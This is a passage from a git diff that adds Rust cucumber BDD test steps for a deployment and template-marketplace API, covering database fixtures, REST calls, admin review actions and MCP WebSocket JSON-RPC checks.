+async fn then_every_step_has_status(world: &mut StepWorld, expected_status: String) {
+    let list = world
+        .response_json
+        .as_ref()
+        .and_then(|j| j.get("list"))
+        .and_then(|l| l.as_array())
+        .expect("Expected /list array in response");
+
+    for (i, item) in list.iter().enumerate() {
+        let status = item
+            .get("status")
+            .and_then(|s| s.as_str())
+            .unwrap_or("unknown");
+        assert_eq!(
+            status, expected_status,
+            "Step execution {} has status '{}', expected '{}'",
+            i, status, expected_status
+        );
+    }
+}
+
+#[then(regex = r#"^each step execution should have a "([^"]+)" field$"#)]
+async fn then_each_step_has_field(world: &mut StepWorld, field: String) {
+    let list = world
+        .response_json
+        .as_ref()
+        .and_then(|j| j.get("list"))
+        .and_then(|l| l.as_array())
+        .expect("Expected /list array in response");
+
+    for (i, item) in list.iter().enumerate() {
+        assert!(
+            item.get(&field).is_some(),
+            "Step execution {} missing field '{}'",
+            i,
+            field
+        );
+    }
+}
+
+// ─── Then: response body contains substring ───────────────────
+
+#[then(regex = r#"^the response body should contain "([^"]+)"$"#)]
+async fn then_response_body_contains(world: &mut StepWorld, substring: String) {
+    let body = world.response_body.as_deref().unwrap_or("");
+    assert!(
+        body.contains(&substring),
+        "Expected response body to contain '{}', got: {}",
+        substring,
+        body
+    );
+}
+
+// ─── Then: JSON array length ──────────────────────────────────
+
+#[then(regex = r#"^the response JSON at "([^"]+)" should have length (\d+)$"#)]
+async fn then_json_array_length(world: &mut StepWorld, path: String, expected: usize) {
+    let json = world.response_json.as_ref().expect("No JSON response");
+    let arr = json
+        .pointer(&path)
+        .and_then(|v| v.as_array())
+        .unwrap_or_else(|| panic!("JSON path '{}' not found or not array in: {}", path, json));
+    assert_eq!(
+        arr.len(),
+        expected,
+        "Expected array at '{}' to have length {}, got {}",
+        path,
+        expected,
+        arr.len()
+    );
+}
+
+// (shorthand for adding multiple steps is in dag.rs)
diff --git a/tests/steps/deployment.rs b/tests/steps/deployment.rs
new file mode 100644
index 00000000..3be8efb1
--- /dev/null
+++ b/tests/steps/deployment.rs
@@ -0,0 +1,146 @@
+use cucumber::{given, when};
+use serde_json::json;
+
+use super::StepWorld;
+
+// ─── Deployment setup steps ──────────────────────────────────────
+
+#[given(regex = r#"^I have a test deployment with hash "(.+)" and status "(.+)"$"#)]
+async fn given_test_deployment_with_status(
+    world: &mut StepWorld,
+    deployment_hash: String,
+    status: String,
+) {
+    let pool = world.db_pool.as_ref().expect("no db_pool");
+    let proj_name = format!("proj-{}", &deployment_hash);
+
+    let project_id: i32 = sqlx::query_scalar(
+        r#"INSERT INTO project (stack_id, user_id, name, metadata, request_json, created_at, updated_at)
+           VALUES (gen_random_uuid(), $1, $2, '{}'::json, '{}'::json, NOW(), NOW())
+           ON CONFLICT DO NOTHING
+           RETURNING id"#,
+    )
+    .bind(super::common::USER_A_ID)
+    .bind(&proj_name)
+    .fetch_optional(pool)
+    .await
+    .expect("project insert query failed")
+    .unwrap_or(0);
+
+    let project_id = if project_id == 0 {
+        sqlx::query_scalar::<_, i32>("SELECT id FROM project WHERE name = $1 LIMIT 1")
+            .bind(&proj_name)
+            .fetch_one(pool)
+            .await
+            .expect("project should exist")
+    } else {
+        project_id
+    };
+
+    let deploy_id = sqlx::query_scalar::<_, i32>(
+        r#"INSERT INTO deployment (project_id, deployment_hash, user_id, metadata, status, created_at, updated_at)
+           VALUES ($1, $2, $3, '{}'::json, $4, NOW(), NOW())
+           ON CONFLICT (deployment_hash) DO UPDATE SET status = $4, updated_at = NOW()
+           RETURNING id"#,
+    )
+    .bind(project_id)
+    .bind(&deployment_hash)
+    .bind(super::common::USER_A_ID)
+    .bind(&status)
+    .fetch_one(pool)
+    .await
+    .expect("Failed to create test deployment");
+
+    world
+        .stored_ids
+        .insert("deployment_hash".to_string(), deployment_hash);
+    world
+        .stored_ids
+        .insert("deployment_id".to_string(), deploy_id.to_string());
+    world
+        .stored_ids
+        .insert("deployment_project_id".to_string(), project_id.to_string());
+}
+
+// ─── Deployment query steps ──────────────────────────────────────
+
+#[when("I list deployments")]
+async fn list_deployments(world: &mut StepWorld) {
+    world.get("/api/v1/deployments").await;
+}
+
+#[when("I get the stored deployment by ID")]
+async fn get_deployment_by_id(world: &mut StepWorld) {
+    let deployment_id = world
+        .stored_ids
+        .get("deployment_id")
+        .expect("No stored deployment_id")
+        .clone();
+    world
+        .get(&format!("/api/v1/deployments/{}", deployment_id))
+        .await;
+}
+
+#[when(regex = r#"^I get the deployment by hash "([^"]+)"$"#)]
+async fn get_deployment_by_hash(world: &mut StepWorld, hash: String) {
+    world
+        .get(&format!("/api/v1/deployments/hash/{}", hash))
+        .await;
+}
+
+#[when("I get the deployment by project")]
+async fn get_deployment_by_project(world: &mut StepWorld) {
+    let project_id = world
+        .stored_ids
+        .get("deployment_project_id")
+        .expect("No stored deployment_project_id")
+        .clone();
+    world
+        .get(&format!("/api/v1/deployments/project/{}", project_id))
+        .await;
+}
+
+#[when("I force complete the stored deployment")]
+async fn force_complete_deployment(world: &mut StepWorld) {
+    let deployment_id = world
+        .stored_ids
+        .get("deployment_id")
+        .expect("No stored deployment_id")
+        .clone();
+    let body = json!({});
+    world
+        .post_json(
+            &format!("/api/v1/deployments/{}/force-complete", deployment_id),
+            &body,
+        )
+        .await;
+}
+
+#[when(regex = r#"^I force complete deployment "([^"]+)"$"#)]
+async fn force_complete_deployment_by_hash(world: &mut StepWorld, hash: String) {
+    // Look up deployment ID from hash
+    let pool = world.db_pool.as_ref().expect("no db_pool");
+    let deploy_id: i32 =
+        sqlx::query_scalar("SELECT id FROM deployment WHERE deployment_hash = $1 LIMIT 1")
+            .bind(&hash)
+            .fetch_one(pool)
+            .await
+            .expect("Deployment not found");
+    let body = json!({});
+    world
+        .post_json(
+            &format!("/api/v1/deployments/{}/force-complete", deploy_id),
+            &body,
+        )
+        .await;
+}
+
+#[when(regex = r#"^I get capabilities for deployment "([^"]+)"$"#)]
+async fn get_capabilities(world: &mut StepWorld, deployment_hash: String) {
+    world
+        .get(&format!(
+            "/api/v1/deployments/{}/capabilities",
+            deployment_hash
+        ))
+        .await;
+}
diff --git a/tests/steps/deployment_state.rs b/tests/steps/deployment_state.rs
new file mode 100644
index 00000000..ddc262af
--- /dev/null
+++ b/tests/steps/deployment_state.rs
@@ -0,0 +1,10 @@
+use cucumber::when;
+
+use super::StepWorld;
+
+#[when(regex = r#"^I get deployment state for "([^"]+)"$"#)]
+async fn get_deployment_state(world: &mut StepWorld, deployment_hash: String) {
+    world
+        .get(&format!("/api/v1/deployments/{}/state", deployment_hash))
+        .await;
+}
diff --git a/tests/steps/health.rs b/tests/steps/health.rs
new file mode 100644
index 00000000..65ccf398
--- /dev/null
+++ b/tests/steps/health.rs
@@ -0,0 +1,124 @@
+use cucumber::{then, when};
+
+use super::StepWorld;
+
+#[when(regex = r#"^I send a GET request to "(.+)"$"#)]
+async fn send_get_request(world: &mut StepWorld, path: String) {
+    world.get(&path).await;
+}
+
+#[then(regex = r#"^the response status should be (\d+)$"#)]
+async fn check_status(world: &mut StepWorld, expected: u16) {
+    let actual = world.status_code.expect("No response received yet");
+    assert_eq!(
+        actual,
+        expected,
+        "Expected status {}, got {}. Body: {}",
+        expected,
+        actual,
+        world.response_body.as_deref().unwrap_or("<none>")
+    );
+}
+
+#[then(regex = r#"^the response status should be one of "(.+)"$"#)]
+async fn check_status_one_of(world: &mut StepWorld, codes: String) {
+    let actual = world.status_code.expect("No response received yet");
+    let allowed: Vec<u16> = codes
+        .split(',')
+        .map(|s| s.trim().parse().expect("Invalid status code in list"))
+        .collect();
+    assert!(
+        allowed.contains(&actual),
+        "Expected status to be one of {:?}, got {}",
+        allowed,
+        actual
+    );
+}
+
+#[then(regex = r#"^the response JSON should have key "(.+)"$"#)]
+async fn check_json_has_key(world: &mut StepWorld, key: String) {
+    let json = world
+        .response_json
+        .as_ref()
+        .expect("No JSON response available");
+    assert!(
+        json.get(&key).is_some(),
+        "Expected JSON to have key '{}', got: {}",
+        key,
+        json
+    );
+}
+
+#[then(regex = r#"^the response JSON at "(.+)" should be "(.+)"$"#)]
+async fn check_json_at_path(world: &mut StepWorld, path: String, expected: String) {
+    let json = world
+        .response_json
+        .as_ref()
+        .expect("No JSON response available");
+    let value = json
+        .pointer(&path)
+        .unwrap_or_else(|| panic!("JSON path '{}' not found in: {}", path, json));
+    let actual = match value {
+        serde_json::Value::String(s) => s.clone(),
+        other => other.to_string(),
+    };
+    assert_eq!(actual, expected, "At JSON path '{}'", path);
+}
+
+#[then("the response body should be empty")]
+async fn check_empty_body(world: &mut StepWorld) {
+    let body = world.response_body.as_deref().unwrap_or("");
+    assert!(body.is_empty(), "Expected empty body, got: {}", body);
+}
+
+#[then(regex = r#"^the response JSON at "(.+)" should not be empty$"#)]
+async fn check_json_at_path_not_empty(world: &mut StepWorld, path: String) {
+    let json = world
+        .response_json
+        .as_ref()
+        .expect("No JSON response available");
+    let value = json
+        .pointer(&path)
+        .unwrap_or_else(|| panic!("JSON path '{}' not found in: {}", path, json));
+    match value {
+        serde_json::Value::String(s) => {
+            assert!(
+                !s.is_empty(),
+                "Expected non-empty string at '{}', got empty",
+                path
+            );
+        }
+        serde_json::Value::Null => {
+            panic!("Expected non-empty value at '{}', got null", path);
+        }
+        _ => {} // non-null, non-string is fine
+    }
+}
+
+#[then(regex = r#"^the response JSON at "(.+)" should be an empty array$"#)]
+async fn check_json_at_path_empty_array(world: &mut StepWorld, path: String) {
+    let json = world
+        .response_json
+        .as_ref()
+        .expect("No JSON response available");
+    let value = json
+        .pointer(&path)
+        .unwrap_or_else(|| panic!("JSON path '{}' not found in: {}", path, json));
+    match value {
+        serde_json::Value::Array(arr) => {
+            assert!(
+                arr.is_empty(),
+                "Expected empty array at '{}', got {} items: {}",
+                path,
+                arr.len(),
+                value
+            );
+        }
+        serde_json::Value::Null => {
+            // null is acceptable as "empty" list for some endpoints
+        }
+        other => {
+            panic!("Expected array at '{}', got: {}", path, other);
+        }
+    }
+}
diff --git a/tests/steps/marketplace.rs b/tests/steps/marketplace.rs
new file mode 100644
index 00000000..e0c6fcea
--- /dev/null
+++ b/tests/steps/marketplace.rs
@@ -0,0 +1,396 @@
+use cucumber::given;
+use cucumber::when;
+use serde_json::json;
+
+use crate::steps::StepWorld;
+
+fn store_template_id(world: &mut StepWorld) {
+    if let Some(json) = &world.response_json {
+        // Template responses use "data" wrapper
+        if let Some(id) = json
+            .pointer("/data/id")
+            .or_else(|| json.pointer("/item/id"))
+            .and_then(|v| {
+                v.as_str()
+                    .or_else(|| v.as_i64().map(|_| ""))
+                    .and_then(|_| v.as_str())
+            })
+        {
+            world
+                .stored_ids
+                .insert("template_id".to_string(), id.to_string());
+        }
+        // Also try as integer
+        if !world.stored_ids.contains_key("template_id") {
+            if let Some(id) = json
+                .pointer("/data/id")
+                .or_else(|| json.pointer("/item/id"))
+                .and_then(|v| v.as_i64())
+            {
+                world
+                    .stored_ids
+                    .insert("template_id".to_string(), id.to_string());
+            }
+        }
+    }
+}
+
+fn template_create_body(slug: &str) -> serde_json::Value {
+    json!({
+        "name": format!("BDD Test Template {}", slug),
+        "slug": slug,
+        "short_description": "A BDD test template",
+        "long_description": "This template is created for BDD testing purposes.",
+        "category_code": "Dev Tools",
+        "tags": ["bdd", "test"],
+        "version": "1.0.0",
+        "stack_definition": {
+            "version": "3.8",
+            "services": {
+                "web": {
+                    "image": "nginx:alpine",
+                    "ports": ["80:80"]
+                }
+            }
+        },
+        "definition_format": "yaml",
+        "plan_type": "free"
+    })
+}
+
+// ─── Creator steps ───
+
+#[when(regex = r#"^I create a marketplace template with slug "([^"]+)"$"#)]
+async fn create_template(world: &mut StepWorld, slug: String) {
+    let body = template_create_body(&slug);
+    world.post_json("/api/templates", &body).await;
+    store_template_id(world);
+}
+
+#[given(regex = r#"^I have created a marketplace template with slug "([^"]+)"$"#)]
+async fn given_created_template(world: &mut StepWorld, slug: String) {
+    let body = template_create_body(&slug);
+    world.post_json("/api/templates", &body).await;
+    store_template_id(world);
+}
+
+#[when(regex = r#"^I update the stored template with name "([^"]+)"$"#)]
+async fn update_template(world: &mut StepWorld, name: String) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    let body = json!({ "name": name });
+    world
+        .put_json(&format!("/api/templates/{}", id), &body)
+        .await;
+}
+
+#[when("I submit the stored template for review")]
+async fn submit_template(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    world
+        .post_json(
+            &format!("/api/templates/{}/submit", id),
+            &json!({ "confirm_no_secrets": true }),
+        )
+        .await;
+}
+
+#[given("I submit the stored template for review")]
+async fn given_submit_template(world: &mut StepWorld) {
+    submit_template(world).await;
+}
+
+#[given(regex = r#"^I submit template "([^"]+)" for review$"#)]
+async fn given_submit_template_by_slug(world: &mut StepWorld, _slug: String) {
+    // Template was already stored by slug creation; submit by stored ID
+    submit_template(world).await;
+}
+
+#[when("I list my marketplace templates")]
+async fn list_my_templates(world: &mut StepWorld) {
+    world.get("/api/templates/mine").await;
+}
+
+#[when(regex = r#"^I resubmit the stored template with version "([^"]+)"$"#)]
+async fn resubmit_template(world: &mut StepWorld, version: String) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    let body = json!({
+        "version": version,
+        "stack_definition": {
+            "version": "3.8",
+            "services": {
+                "web": {
+                    "image": "nginx:latest",
+                    "ports": ["80:80", "443:443"]
+                }
+            }
+        },
+        "changelog": "Updated for BDD resubmit test",
+        "confirm_no_secrets": true
+    });
+    world
+        .post_json(&format!("/api/templates/{}/resubmit", id), &body)
+        .await;
+}
+
+#[when("I get my vendor profile")]
+async fn get_vendor_profile(world: &mut StepWorld) {
+    world.get("/api/templates/mine/vendor-profile").await;
+}
+
+#[when("I create vendor onboarding link")]
+async fn create_onboarding_link(world: &mut StepWorld) {
+    world
+        .post_json(
+            "/api/templates/mine/vendor-profile/onboarding-link",
+            &json!({}),
+        )
+        .await;
+}
+
+// ─── Admin steps ───
+
+#[when("I list submitted templates")]
+async fn list_submitted(world: &mut StepWorld) {
+    world.get("/api/admin/templates").await;
+}
+
+#[when("I get admin template detail for the stored template")]
+async fn get_admin_detail(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    world.get(&format!("/api/admin/templates/{}", id)).await;
+}
+
+#[when("I approve the stored template")]
+async fn approve_template(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    let body = json!({ "decision": "approved", "reason": "BDD test approval" });
+    world
+        .post_json(&format!("/api/admin/templates/{}/approve", id), &body)
+        .await;
+}
+
+#[given("I approve the stored template")]
+async fn given_approve_template(world: &mut StepWorld) {
+    approve_template(world).await;
+}
+
+#[when(regex = r#"^I reject the stored template with reason "([^"]+)"$"#)]
+async fn reject_template(world: &mut StepWorld, reason: String) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    let body = json!({ "decision": "rejected", "reason": reason });
+    world
+        .post_json(&format!("/api/admin/templates/{}/reject", id), &body)
+        .await;
+}
+
+#[when(regex = r#"^I request changes for the stored template with reason "([^"]+)"$"#)]
+async fn needs_changes(world: &mut StepWorld, reason: String) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    let body = json!({ "reason": reason });
+    world
+        .post_json(&format!("/api/admin/templates/{}/needs-changes", id), &body)
+        .await;
+}
+
+#[given(regex = r#"^I request changes for the stored template with reason "([^"]+)"$"#)]
+async fn given_needs_changes(world: &mut StepWorld, reason: String) {
+    needs_changes(world, reason).await;
+}
+
+#[when("I run security scan for the stored template")]
+async fn security_scan(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    world
+        .post_json(
+            &format!("/api/admin/templates/{}/security-scan", id),
+            &json!({}),
+        )
+        .await;
+}
+
+#[when(
+    regex = r#"^I update pricing for the stored template with price ([0-9.]+) and billing "([^"]+)"$"#
+)]
+async fn update_pricing(world: &mut StepWorld, price: f64, billing: String) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    let body = json!({
+        "price": price,
+        "billing_cycle": billing
+    });
+    world
+        .patch(&format!("/api/admin/templates/{}/pricing", id), &body)
+        .await;
+}
+
+#[when(regex = r#"^I update verifications for the stored template with security_reviewed true$"#)]
+async fn update_verifications(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    let body = json!({ "security_reviewed": true });
+    world
+        .patch(&format!("/api/admin/templates/{}/verifications", id), &body)
+        .await;
+}
+
+#[when("I unapprove the stored template")]
+async fn unapprove_template(world: &mut StepWorld) {
+    let id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    world
+        .post_json(
+            &format!("/api/admin/templates/{}/unapprove", id),
+            &json!({}),
+        )
+        .await;
+}
+
+// ─── Public steps ───
+
+#[when("I list marketplace categories")]
+async fn list_categories(world: &mut StepWorld) {
+    world.get("/api/categories").await;
+}
+
+#[when("I list marketplace templates")]
+async fn list_templates(world: &mut StepWorld) {
+    world.get("/api/templates").await;
+}
+
+#[when(regex = r#"^I get marketplace template by slug "([^"]+)"$"#)]
+async fn get_template_by_slug(world: &mut StepWorld, slug: String) {
+    world.get(&format!("/api/templates/{}", slug)).await;
+}
+
+// ─── Analytics setup steps ───
+
+#[given("the template has usage metrics")]
+async fn given_template_has_usage_metrics(world: &mut StepWorld) {
+    // Insert mock usage metrics into the database for the stored template
+    let template_id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    let pool = world.db_pool.as_ref().unwrap();
+
+    // Insert mock view events
+    let _ = sqlx::query(
+        r#"INSERT INTO marketplace_template_event 
+           (template_id, event_type, user_id, created_at)
+           VALUES ($1, 'view', 'viewer-1', NOW() - INTERVAL '5 days'),
+                  ($1, 'view', 'viewer-2', NOW() - INTERVAL '3 days'),
+                  ($1, 'view', 'viewer-3', NOW() - INTERVAL '1 day')"#,
+    )
+    .bind(&template_id)
+    .execute(pool)
+    .await;
+
+    // Insert mock deployment events
+    let _ = sqlx::query(
+        r#"INSERT INTO marketplace_template_event 
+           (template_id, event_type, user_id, cloud_provider, created_at)
+           VALUES ($1, 'deploy', 'deployer-1', 'hetzner', NOW() - INTERVAL '4 days'),
+                  ($1, 'deploy', 'deployer-2', 'digitalocean', NOW() - INTERVAL '2 days')"#,
+    )
+    .bind(&template_id)
+    .execute(pool)
+    .await;
+}
+
+#[given("the template has usage events across periods")]
+async fn given_template_has_usage_events_across_periods(world: &mut StepWorld) {
+    // Insert events across multiple time periods for period filtering test
+    let template_id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    let pool = world.db_pool.as_ref().unwrap();
+
+    // Events in last 7 days
+    let _ = sqlx::query(
+        r#"INSERT INTO marketplace_template_event 
+           (template_id, event_type, user_id, created_at)
+           VALUES ($1, 'view', 'viewer-recent-1', NOW() - INTERVAL '2 days'),
+                  ($1, 'view', 'viewer-recent-2', NOW() - INTERVAL '5 days')"#,
+    )
+    .bind(&template_id)
+    .execute(pool)
+    .await;
+
+    // Events beyond 7 days but within 30 days
+    let _ = sqlx::query(
+        r#"INSERT INTO marketplace_template_event 
+           (template_id, event_type, user_id, created_at)
+           VALUES ($1, 'view', 'viewer-old-1', NOW() - INTERVAL '15 days'),
+                  ($1, 'view', 'viewer-old-2', NOW() - INTERVAL '25 days')"#,
+    )
+    .bind(&template_id)
+    .execute(pool)
+    .await;
+}
+
+// ─── Analytics request steps ───
+
+#[when(regex = r#"^I request my marketplace analytics for period "([^"]+)"$"#)]
+async fn request_my_marketplace_analytics(world: &mut StepWorld, period: String) {
+    world
+        .get(&format!("/api/templates/mine/analytics?period={}", period))
+        .await;
+}
+
+#[when("I request analytics for User A template scope")]
+async fn request_analytics_for_user_a_template_scope(world: &mut StepWorld) {
+    let template_id = world
+        .stored_ids
+        .get("template_id")
+        .expect("No stored template_id")
+        .clone();
+    world
+        .get(&format!(
+            "/api/templates/mine/analytics?period=30d&templateId={template_id}"
+        ))
+        .await;
+}
diff --git a/tests/steps/mcp.rs b/tests/steps/mcp.rs
new file mode 100644
index 00000000..6279e0eb
--- /dev/null
+++ b/tests/steps/mcp.rs
@@ -0,0 +1,317 @@
+#![allow(clippy::manual_try_fold)]
+
+use crate::steps::StepWorld;
+use cucumber::{then, when};
+use futures_util::{SinkExt, StreamExt};
+use serde_json::json;
+use tokio_tungstenite::tungstenite;
+
+/// Helper: build a WS URL from the base HTTP URL
+fn ws_url(base: &str, path: &str) -> String {
+    base.replace("http://", "ws://") + path
+}
+
+/// Helper: connect to the MCP WebSocket with auth token
+async fn connect_mcp(
+    base_url: &str,
+    token: &str,
+) -> Result<
+    tokio_tungstenite::WebSocketStream<tokio_tungstenite::MaybeTlsStream<tokio::net::TcpStream>>,
+    tungstenite::Error,
+> {
+    let url = ws_url(base_url, "/mcp");
+    let request = tungstenite::http::Request::builder()
+        .uri(&url)
+        .header("Authorization", format!("Bearer {}", token))
+        .header("Sec-WebSocket-Protocol", "mcp")
+        .header("Connection", "Upgrade")
+        .header("Upgrade", "websocket")
+        .header("Sec-WebSocket-Version", "13")
+        .header(
+            "Sec-WebSocket-Key",
+            tungstenite::handshake::client::generate_key(),
+        )
+        .header("Host", url.replace("ws://", ""))
+        .body(())
+        .unwrap();
+
+    let (ws, _resp) = tokio_tungstenite::connect_async(request).await?;
+    Ok(ws)
+}
+
+/// Helper: send a JSON-RPC message over WS and read the response
+async fn send_and_recv(
+    ws: &mut tokio_tungstenite::WebSocketStream<
+        tokio_tungstenite::MaybeTlsStream<tokio::net::TcpStream>,
+    >,
+    msg: &serde_json::Value,
+) -> Option<serde_json::Value> {
+    let text = serde_json::to_string(msg).unwrap();
+    ws.send(tungstenite::Message::Text(text)).await.ok()?;
+
+    let timeout = tokio::time::timeout(std::time::Duration::from_secs(5), ws.next()).await;
+    match timeout {
+        Ok(Some(Ok(tungstenite::Message::Text(resp)))) => serde_json::from_str(&resp).ok(),
+        _ => None,
+    }
+}
+
+// ---------- Connection Steps ----------
+
+#[when("I connect to the MCP WebSocket endpoint")]
+async fn connect_ws(world: &mut StepWorld) {
+    match connect_mcp(&world.base_url, &world.auth_token).await {
+        Ok(ws) => {
+            world.mcp_connected = true;
+            world.mcp_ws.0 = Some(ws);
+        }
+        Err(e) => {
+            world.mcp_connected = false;
+            eprintln!("MCP WS connect failed: {}", e);
+        }
+    }
+}
+
+#[when("I connect to the MCP WebSocket endpoint without auth")]
+async fn connect_ws_no_auth(world: &mut StepWorld) {
+    match connect_mcp(&world.base_url, "").await {
+        Ok(ws) => {
+            world.mcp_connected = true;
+            world.mcp_ws.0 = Some(ws);
+        }
+        Err(_) => {
+            world.mcp_connected = false;
+        }
+    }
+}
+
+#[then("the MCP connection should be open")]
+async fn assert_connected(world: &mut StepWorld) {
+    assert!(
+        world.mcp_connected,
+        "Expected MCP WebSocket connection to be open"
+    );
+}
+
+#[then("the MCP connection should be rejected")]
+async fn assert_rejected(world: &mut StepWorld) {
+    assert!(
+        !world.mcp_connected,
+        "Expected MCP WebSocket connection to be rejected"
+    );
+}
+
+// ---------- JSON-RPC Steps ----------
+
+#[when("I send an MCP initialize request")]
+async fn send_initialize(world: &mut StepWorld) {
+    let msg = json!({
+        "jsonrpc": "2.0",
+        "id": 1,
+        "method": "initialize",
+        "params": {
+            "protocolVersion": "2024-11-05",
+            "capabilities": {},
+            "clientInfo": {"name": "bdd-test", "version": "1.0.0"}
+        }
+    });
+    let ws = world.mcp_ws.0.as_mut().expect("MCP WS not connected");
+    world.mcp_response = send_and_recv(ws, &msg).await;
+}
+
+#[when(regex = r#"^I send an MCP tools/list request$"#)]
+async fn send_tools_list(world: &mut StepWorld) {
+    let msg = json!({
+        "jsonrpc": "2.0",
+        "id": 2,
+        "method": "tools/list",
+        "params": {}
+    });
+    let ws = world.mcp_ws.0.as_mut().expect("MCP WS not connected");
+    world.mcp_response = send_and_recv(ws, &msg).await;
+}
+
+#[when(regex = r#"^I send an MCP tools/call request for "([^"]+)" with arguments:$"#)]
+async fn send_tools_call(world: &mut StepWorld, step: &cucumber::gherkin::Step, tool_name: String) {
+    let doc = step.docstring.as_deref().unwrap_or("{}");
+    let arguments: serde_json::Value = serde_json::from_str(doc.trim()).unwrap_or(json!({}));
+    let msg = json!({
+        "jsonrpc": "2.0",
+        "id": 3,
+        "method": "tools/call",
+        "params": {
+            "name": tool_name,
+            "arguments": arguments
+        }
+    });
+    let ws = world.mcp_ws.0.as_mut().expect("MCP WS not connected");
+    world.mcp_response = send_and_recv(ws, &msg).await;
+}
+
+#[when(regex = r#"^I send an MCP request with method "([^"]+)" and no params$"#)]
+async fn send_no_params(world: &mut StepWorld, method: String) {
+    let msg = json!({
+        "jsonrpc": "2.0",
+        "id": 4,
+        "method": method
+    });
+    let ws = world.mcp_ws.0.as_mut().expect("MCP WS not connected");
+    world.mcp_response = send_and_recv(ws, &msg).await;
+}
+
+#[when(regex = r#"^I send raw MCP text "([^"]+)"$"#)]
+async fn send_raw_text(world: &mut StepWorld, text: String) {
+    let ws = world.mcp_ws.0.as_mut().expect("MCP WS not connected");
+    ws.send(tungstenite::Message::Text(text)).await.ok();
+    let timeout = tokio::time::timeout(std::time::Duration::from_secs(5), ws.next()).await;
+    world.mcp_response = match timeout {
+        Ok(Some(Ok(tungstenite::Message::Text(resp)))) => serde_json::from_str(&resp).ok(),
+        _ => None,
+    };
+}
+
+#[when(regex = r#"^I send an MCP notification "([^"]+)"$"#)]
+async fn send_notification(world: &mut StepWorld, method: String) {
+    let msg = json!({
+        "jsonrpc": "2.0",
+        "method": method
+    });
+    let ws = world.mcp_ws.0.as_mut().expect("MCP WS not connected");
+    let text = serde_json::to_string(&msg).unwrap();
+    ws.send(tungstenite::Message::Text(text)).await.ok();
+    // Short timeout — we expect no response for notifications
+    let timeout = tokio::time::timeout(std::time::Duration::from_millis(500), ws.next()).await;
+    world.mcp_response = match timeout {
+        Ok(Some(Ok(tungstenite::Message::Text(resp)))) => serde_json::from_str(&resp).ok(),
+        _ => None,
+    };
+}
+
+// ---------- Assertion Steps ----------
+
+#[then("the MCP response should have result")]
+async fn assert_has_result(world: &mut StepWorld) {
+    let resp = world
+        .mcp_response
+        .as_ref()
+        .expect("No MCP response received");
+    assert!(
+        resp.get("result").is_some(),
+        "Expected 'result' in response, got: {}",
+        resp
+    );
+}
+
+#[then("the MCP response should have error")]
+async fn assert_has_error(world: &mut StepWorld) {
+    let resp = world
+        .mcp_response
+        .as_ref()
+        .expect("No MCP response received");
+    assert!(
+        resp.get("error").is_some(),
+        "Expected 'error' in response, got: {}",
+        resp
+    );
+}
+
+#[then(regex = r#"^the MCP result field "([^"]+)" should be "([^"]+)"$"#)]
+async fn assert_result_field(world: &mut StepWorld, field_path: String, expected: String) {
+    let resp = world.mcp_response.as_ref().expect("No MCP response");
+    let result = resp.get("result").expect("No result in MCP response");
+
+    // Support dotted paths like "serverInfo.name"
+    let val = field_path
+        .split('.')
+        .fold(Some(result), |cur, key| cur.and_then(|v| v.get(key)));
+
+    let actual = val
+        .and_then(|v| v.as_str())
+        .unwrap_or_else(|| panic!("Field '{}' not found in result: {}", field_path, result));
+    assert_eq!(
+        actual, expected,
+        "MCP result field '{}' mismatch",
+        field_path
+    );
+}
+
+#[then(regex = r#"^the MCP error code should be (-?\d+)$"#)]
+async fn assert_error_code(world: &mut StepWorld, code: i64) {
+    let resp = world.mcp_response.as_ref().expect("No MCP response");
+    let error = resp.get("error").expect("No error in MCP response");
+    let actual = error
+        .get("code")
+        .and_then(|v| v.as_i64())
+        .expect("No code in error");
+    assert_eq!(actual, code, "MCP error code mismatch");
+}
+
+#[then("the MCP result should contain a non-empty tools array")]
+async fn assert_tools_non_empty(world: &mut StepWorld) {
+    let resp = world.mcp_response.as_ref().expect("No MCP response");
+    let result = resp.get("result").expect("No result in MCP response");
+    let tools = result
+        .get("tools")
+        .and_then(|v| v.as_array())
+        .expect("No tools array in result");
+    assert!(!tools.is_empty(), "Expected non-empty tools array");
+}
+
+#[then("the MCP tool response should not be an error")]
+async fn assert_tool_not_error(world: &mut StepWorld) {
+    let resp = world.mcp_response.as_ref().expect("No MCP response");
+    let result = resp.get("result").expect("No result in MCP response");
+    let is_error = result.get("isError").and_then(|v| v.as_bool());
+    assert_ne!(
+        is_error,
+        Some(true),
+        "Expected tool call to succeed, got error: {}",
+        result
+    );
+}
+
+#[then("the MCP tool response should be an error")]
+async fn assert_tool_is_error(world: &mut StepWorld) {
+    let resp = world.mcp_response.as_ref().expect("No MCP response");
+    let result = resp.get("result").expect("No result in MCP response");
+    let is_error = result.get("isError").and_then(|v| v.as_bool());
+    assert_eq!(
+        is_error,
+        Some(true),
+        "Expected tool call to fail, got: {}",
+        result
+    );
+}
+
+#[then(regex = r#"^the MCP tool text response should contain "(.+)"$"#)]
+async fn assert_tool_text_contains(world: &mut StepWorld, expected: String) {
+    let resp = world.mcp_response.as_ref().expect("No MCP response");
+    let result = resp.get("result").expect("No result in MCP response");
+    let content = result
+        .get("content")
+        .and_then(|v| v.as_array())
+        .expect("No content array in MCP tool response");
+    let text = content
+        .first()
+        .and_then(|item| item.get("text"))
+        .and_then(|value| value.as_str())
+        .expect("No text content in MCP tool response");
+
+    let expected = expected.replace("\\\"", "\"");
+
+    assert!(
+        text.contains(&expected),
